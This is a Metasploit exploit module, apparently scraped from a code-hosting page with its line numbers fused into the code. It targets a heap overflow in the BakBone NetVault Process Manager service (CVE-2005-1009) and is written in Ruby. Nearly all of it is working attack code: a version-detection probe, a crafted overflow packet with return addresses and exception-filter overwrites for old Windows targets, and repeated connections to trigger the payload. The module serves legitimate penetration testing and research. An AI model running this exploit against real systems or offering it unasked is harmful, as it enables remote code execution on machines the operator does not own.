Path: blob/master/modules/exploits/windows/misc/bakbone_netvault_heap.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Tcp910def initialize(info = {})11super(12update_info(13info,14'Name' => 'BakBone NetVault Remote Heap Overflow',15'Description' => %q{16This module exploits a heap overflow in the BakBone NetVault17Process Manager service. This code is a direct port of the netvault.c18code written by nolimit and BuzzDee.19},20'Author' => [ 'hdm', '<nolimit.bugtraq[at]ri0tnet.net>' ],21'References' => [22['CVE', '2005-1009'],23['OSVDB', '15234'],24['BID', '12967'],25],26'Payload' => {27'Space' => 1024,28'BadChars' => "\x00\x20",29'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",30},31'Platform' => 'win',32'Targets' => [33['Windows 2000 SP4 English', { 'Ret' => 0x75036d7e, 'UEF' => 0x7c54144c } ],34['Windows XP SP0/SP1 English', { 'Ret' => 0x7c369bbd, 'UEF' => 0x77ed73b4 } ],35],3637'Privileged' => false,38'DisclosureDate' => '2005-04-01',39'Notes' => {40'Reliability' => UNKNOWN_RELIABILITY,41'Stability' => UNKNOWN_STABILITY,42'SideEffects' => UNKNOWN_SIDE_EFFECTS43}44)45)4647register_options(48[49Opt::RPORT(20031)50]51)52end5354def check55connect5657hname = "METASPLOIT"58probe =59"\xc9\x00\x00\x00\x01\xcb\x22\x77\xc9\x17\x00\x00\x00\x69\x3b\x69" +60"\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69\x3b\x69" +61"\x3b\x73\x3b\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00" +62"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00" +63"\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00" +64[ hname.length + 1 ].pack('V') + hname + "\x00"65probe += "\x00" * (201 - probe.length)6667sock.put(probe)68res = sock.get_once(1, 10)6970off = (res || '').index("NVBuild")7172if off73off += 2174ver = res[off + 4, res[off, 4].unpack('V')[0]].to_i7576if ver > 077print_status("Detected NetVault Build #{ver}")78return Exploit::CheckCode::Appears79end80end8182return Exploit::CheckCode::Safe83end8485def exploit86print_status("Trying target #{target.name}...")8788head =89"\x00\x00\x02\x01\x00\x00\x00\x8f\xd0\xf0\xca\x0b\x00\x00\x00\x69" +90"\x3b\x62\x3b\x6f\x3b\x6f\x3b\x7a\x3b\x00\x11\x57\x3c\x42\x00\x01" +91"\xb9\xf9\xa2\xc8\x00\x00\x00\x00\x03\x00\x00\x00\x00\x01\xa5\x97" +92"\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x10" +93"\x02\x4e\x3f\xac\x14\xcc\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00" +94"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01" +95"\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00" +96"\x00\x10\x02\x4e\x3f\xc0\xa8\xea\xeb\x00\x00\x00\x00\x00\x00\x00" +97"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +98"\x00\x01\xa5\x97\xf0\xca\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20" +99"\x00\x00\x00\x10\x02\x4e\x3f\xc2\x97\x2c\xd3\x00\x00\x00\x00\x00" +100"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +101"\x00\x00\x00\xb9\xf9\xa2\xc8\x02\x02\x00\x00\x00\xa5\x97\xf0\xca" +102"\x05\x00\x00\x00\x6e\x33\x32\x3b\x00\x20\x00\x00\x00\x04\x02\x4e" +103"\x3f\xac\x14\xcc\x0a\xb0\xfc\xe2\x00\x00\x00\x00\x00\xec\xfa\x8e" +104"\x01\xa4\x6b\x41\x00\xe4\xfa\x8e\x01\xff\xff\xff\xff\x01\x02"105106pattern = make_nops(39947) + "\x00\x00\x00"107p = payload.encoded108109pattern[0, head.length] = head110pattern[32790, 2] = "\xeb\x0a"111pattern[32792, 4] = [ target.ret ].pack('V')112pattern[32796, 4] = [ target['UEF'] ].pack('V')113pattern[32800, p.length] = p114115sent = 0116try = 011711815.times {119try += 1120connect121sent = sock.put(pattern)122disconnect123break if sent == pattern.length124}125126if (try == 15)127print_error("Could not write full packet to server.")128return129end130131print_status("Overflow request sent, sleeping fo four seconds (#{try} tries)")132select(nil, nil, nil, 4)133134print_status("Attempting to trigger memory overwrite by reconnecting...")135136begin13710.times { |x|138connect139sock.put(pattern)140print_status(" Completed connection #{x}")141sock.get_once(1, 1)142disconnect143}144rescue145end146147print_status("Waiting for payload to execute...")148149handler150disconnect151end152153def wfs_delay1545155end156end157158159